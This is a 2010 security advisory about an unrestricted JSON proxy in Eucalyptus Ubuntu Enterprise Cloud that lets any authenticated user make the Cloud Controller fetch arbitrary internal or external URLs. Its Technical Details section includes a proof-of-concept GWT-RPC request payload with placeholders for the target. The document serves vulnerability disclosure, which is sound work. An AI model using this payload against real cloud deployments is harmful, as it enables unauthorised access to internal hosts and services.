Security Research Advisory

Eucalyptus Ubuntu Enterprise Cloud
Unrestricted JSON Requests

Table of Contents

SUMMARY 3

VULNERABILITY DETAILS 3

TECHNICAL DETAILS 4

LEGAL NOTICES 5

Unrestricted JSON Requests					Advisory Number
					SN-10-06
Severity	Software	Version(s)	Accessibility	CVE	Author(s)
L	Eucalyptus Ubuntu Enterprise Cloud	n./d.	Remote	-	Claudio Criscione
	Vendor URL		Advisory URL		
	http://www.ubuntu.com		-		

Date	Details
23/05/2010	Vendor disclosure
n./d.	Vendor acknowledgment
n./d.	Patch release
n./d.	Public disclosure

Summary

Ubuntu Enterprise Cloud is a private cloud solution based on Eucalyptus. Any legitimate user of the system, including non-administrative users, can leverage an internal JSON proxy to request any resource on the internet or the intranet, effectively using the Cloud Controller server as a proxy. Internal resources, including virtual machines or node servers, can be reached on any port submitting arbitrary HTTP requests.

Vulnerability Details

Eucalyptus' web backend leverages a JSON proxy to retrieve resources from remote systems or local components. However, the JSON proxy does not validate requests and can be used to retrieve arbitrary URLs.

Technical Details

Description

Exploiting this issue requires a two stage attack. First, the user has to login and retrieve a valid session identifier, then he can perform a POST request to the *ImageStoreService* URL with a payload similar to the following.

PoC Request:

```
5|0|11|https://IP:8443/|D9E37FD3148FA094448DA7797BAA61F2|edu.ucsb.eucal
yptus.admin.client.extensions.store.ImageStoreService|requestJSON|java.
lang.String|edu.ucsb.eucalyptus.admin.client.extensions.store.ImageStor
eService$Method|[Ledu.ucsb.eucalyptus.admin.client.extensions.store.Ima
geStoreService$Parameter;|SESSION-
ID|edu.ucsb.eucalyptus.admin.client.extensions.store.ImageStoreService$
Method/4272089282|URLTOBERETRIEVED|[Ledu.ucsb.eucalyptus.admin.client.e
xtensions.store.ImageStoreService$Parameter;/3900275228|1|2|3|4|4|5|6|5
|7|8|9|1|10|11|0|
```

Legal Notices

Secure Network (www.securenetwork.it) is an information security company, which provides consulting and training services, and engages in security research and development.

We are committed to open, full disclosure of vulnerabilities, cooperating with software developers for properly handling disclosure issues.

The information in the advisory is believed to be accurate at the time of publishing based on currently available information. This information is provided as-is, as a free service to the community by Secure Network research staff. There are no warranties with regard to this information. Secure Network does not accept any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.

If you have any comments or inquiries, or any issue with what is reported in this advisory, please inform us as soon as possible.

e-mail	info@securenetwork.it
phone	+39 02 917 730 41